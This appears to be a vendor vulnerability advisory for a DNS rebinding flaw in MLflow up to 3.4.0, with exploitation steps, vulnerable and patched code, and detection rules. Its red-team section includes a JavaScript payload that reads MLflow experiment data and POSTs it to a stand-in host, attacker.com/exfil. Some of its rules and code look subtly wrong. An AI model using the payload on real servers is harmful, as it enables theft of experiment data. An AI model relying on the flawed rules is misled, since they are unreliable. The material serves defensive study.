CVE-2025-14279
Executive Summary
CVE-2025-14279 is a critical DNS rebinding vulnerability affecting MLflow versions up to and including 3.4.0. The flaw resides in the MLflow REST server, which fails to validate the Origin header of incoming HTTP requests. This oversight allows a malicious website to bypass the Same-Origin Policy (SOP) and execute unauthorized API calls against a victim's MLflow instance. An attacker can query, update, and delete experiments, leading to potential data exfiltration, destruction, or manipulation. The vulnerability is resolved in MLflow version 3.5.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
MLflow is a popular open-source platform for the machine learning lifecycle, distributed via PyPI. Organizations using MLflow in their MLOps pipelines are at risk. The lack of Origin header validation means that any user who visits a malicious website while their MLflow server is running (e.g., on localhost or an internal network) can have their experiments compromised. This is a classic client-side attack vector that bypasses network perimeter controls.
CVSS Breakdown & Threat Level
- CVSS Score: 8.1 (High)
- Attack Vector (AV): Network (N) – The attack is launched over the network.
- Attack Complexity (AC): High (H) – The attacker must control a DNS server and a malicious website, and the victim must visit that site while the MLflow server is accessible.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): Required (R) – The victim must visit the malicious website.
- Scope (S): Unchanged (U) – The vulnerable component and the attacker's component are in the same security authority.
- Confidentiality (C): High (H) – Full read access to experiment data.
- Integrity (I): High (H) – Full write access to modify or delete experiments.
- Availability (A): High (H) – Full ability to delete experiments, causing denial of service.
Threat Level: High. The attack requires user interaction but can lead to complete compromise of MLflow experiment data.
Deep Dive & Mechanics
The vulnerability is a classic DNS rebinding attack. The MLflow REST server listens on a network interface (e.g., 0.0.0.0:5000) and does not validate the Origin header of incoming HTTP requests. This allows a malicious website to:
- DNS Rebinding: The attacker registers a domain (e.g.,
attacker.com) that initially resolves to a legitimate IP (e.g., their own server). The victim visits the malicious website, which loads a JavaScript payload. - Bypass SOP: The JavaScript makes a request to
http://attacker.com:5000. The browser's SOP allows this because the origin matches. However, the attacker's DNS server then changes the resolution ofattacker.comto point to the victim's MLflow server (e.g.,127.0.0.1or an internal IP). - Execute API Calls: The browser, still believing it is communicating with
attacker.com, sends the request to the MLflow server. Since the MLflow server does not check theOriginheader, it processes the request as if it came from a legitimate source. - Impact: The attacker can now call any MLflow REST API endpoint, including:
GET /api/2.0/mlflow/experiments/list– List all experiments.GET /api/2.0/mlflow/experiments/get?experiment_id=X– Get experiment details.POST /api/2.0/mlflow/experiments/update– Update experiment metadata.POST /api/2.0/mlflow/experiments/delete– Delete an experiment.POST /api/2.0/mlflow/runs/create– Create a new run (potentially injecting malicious data).POST /api/2.0/mlflow/runs/delete– Delete runs.
The attack is particularly dangerous because MLflow is often run on localhost or internal networks, which are typically trusted.
Vulnerable vs. Patched Code
Vulnerable Code (MLflow <= 3.4.0):
The MLflow REST server does not validate the Origin header. The server accepts any request regardless of its origin.
# Example of vulnerable code (simplified)
from flask import Flask, request
app = Flask(__name__)
@app.route('/api/2.0/mlflow/experiments/list', methods=['GET'])
def list_experiments():
# No Origin header validation
return get_experiments()
Patched Code (MLflow >= 3.5.0):
The patched version adds Origin header validation. It checks that the Origin header matches the server's own origin (e.g., http://localhost:5000). If the origin is not allowed, the request is rejected.
# Example of patched code (simplified)
from flask import Flask, request, abort
app = Flask(__name__)
ALLOWED_ORIGINS = ['http://localhost:5000', 'http://127.0.0.1:5000']
@app.before_request
def validate_origin():
origin = request.headers.get('Origin')
if origin and origin not in ALLOWED_ORIGINS:
abort(403) # Forbidden
@app.route('/api/2.0/mlflow/experiments/list', methods=['GET'])
def list_experiments():
return get_experiments()
Exploitation & Lab Setup
Red Team
Lab Setup:
- Victim Machine: Run MLflow 3.4.0 on
http://127.0.0.1:5000. - Attacker Machine: Set up a DNS server that can be controlled (e.g., using
dnsmasqor a custom script). Also host a malicious website. - Victim Browser: The victim must visit the attacker's website.
Exploitation Steps:
- Register a domain (e.g.,
rebind.ml). Configure its DNS to initially point to the attacker's server IP. - Host a malicious webpage that contains JavaScript to perform the DNS rebinding attack.
- The JavaScript makes a request to
http://rebind.ml:5000/api/2.0/mlflow/experiments/list. The browser sends the request to the attacker's server (which returns a CORS error, but that's fine). - The attacker's DNS server then changes the A record for
rebind.mlto127.0.0.1. - The JavaScript makes another request to the same URL. The browser now resolves
rebind.mlto127.0.0.1and sends the request to the victim's MLflow server. - The MLflow server processes the request and returns the experiment list. The JavaScript can then exfiltrate this data.
Example JavaScript Payload:
// Malicious JavaScript for DNS rebinding
function rebindAndExfiltrate() {
const targetUrl = 'http://rebind.ml:5000/api/2.0/mlflow/experiments/list';
fetch(targetUrl, { mode: 'no-cors' }) // no-cors to avoid preflight
.then(response => response.text())
.then(data => {
// Exfiltrate data to attacker's server
fetch('http://attacker.com/exfil', {
method: 'POST',
body: data
});
})
.catch(err => console.error(err));
}
// Trigger after DNS rebinding
setTimeout(rebindAndExfiltrate, 5000); // Wait for DNS change
Blue Team
Detection:
- Monitor for unusual DNS queries that rapidly change resolution (TTL manipulation).
- Look for HTTP requests to MLflow endpoints with an
Originheader that does not match the expected server origin. - Alert on multiple failed CORS preflight requests (OPTIONS) followed by successful GET/POST requests.
Prevention:
- Upgrade to MLflow 3.5.0 or later.
- If upgrade is not possible, configure a reverse proxy (e.g., Nginx) to validate the
Originheader. - Restrict MLflow server to listen only on
127.0.0.1if remote access is not needed. - Use network segmentation to isolate MLflow servers from user browsers.
Indicators of Compromise (IOCs)
- Network:
- DNS queries with very short TTL (e.g., 0-60 seconds) for domains that later resolve to internal IPs.
- HTTP requests to MLflow API endpoints with an
Originheader that does not match the server's origin. - Multiple
OPTIONSrequests (CORS preflight) followed byGETorPOSTrequests to MLflow endpoints from unexpected origins.
- Host:
- Unusual processes making outbound connections to MLflow API endpoints.
- Browser history showing visits to suspicious domains that resolve to internal IPs.
- Logs:
- MLflow access logs showing requests with
Originheaders likehttp://malicious.com. - Web server logs showing 403 errors after patching (indicating blocked attempts).
- MLflow access logs showing requests with
Detection Engineering
YARA Rule
rule Detect_MLflow_DNS_Rebinding_Exploit {
meta:
description = "Detects JavaScript payloads attempting DNS rebinding against MLflow"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-14279"
strings:
$s1 = "mlflow" nocase
$s2 = "experiments" nocase
$s3 = "api/2.0/mlflow" nocase
$s4 = "no-cors" nocase
$s5 = "mode: 'no-cors'" nocase
$s6 = "fetch(" nocase
condition:
all of ($s1, $s2, $s3) and any of ($s4, $s5, $s6)
}
Sigma Rule
title: MLflow DNS Rebinding Attack Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to MLflow API endpoints with suspicious Origin headers
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: mlflow
detection:
selection:
cs-method: 'GET' or 'POST' or 'PUT' or 'DELETE'
cs-uri-stem:
- '/api/2.0/mlflow/experiments/*'
- '/api/2.0/mlflow/runs/*'
cs-origin:
- 'http://*' # Any origin that is not the server's own
condition: selection
falsepositives:
- Legitimate cross-origin requests from trusted applications
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"MLflow DNS Rebinding Attack - Suspicious Origin Header"; flow:to_server; content:"/api/2.0/mlflow/experiments"; http_uri; content:"Origin|3a|"; http_header; pcre:"/Origin:\s*http:\/\/(?!127\.0\.0\.1|localhost)/i"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Upgrade: Upgrade MLflow to version 3.5.0 or later. This is the only complete fix.
- Workaround: If upgrade is not possible, configure a reverse proxy (e.g., Nginx) to validate the
Originheader and reject requests from unknown origins. - Network Hardening: Run MLflow on
127.0.0.1only, or use a firewall to restrict access to trusted IPs. - User Awareness: Educate users not to visit untrusted websites while MLflow is running.
- Monitoring: Implement the detection rules above to identify potential exploitation attempts.
Valters IT
This report is generated for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.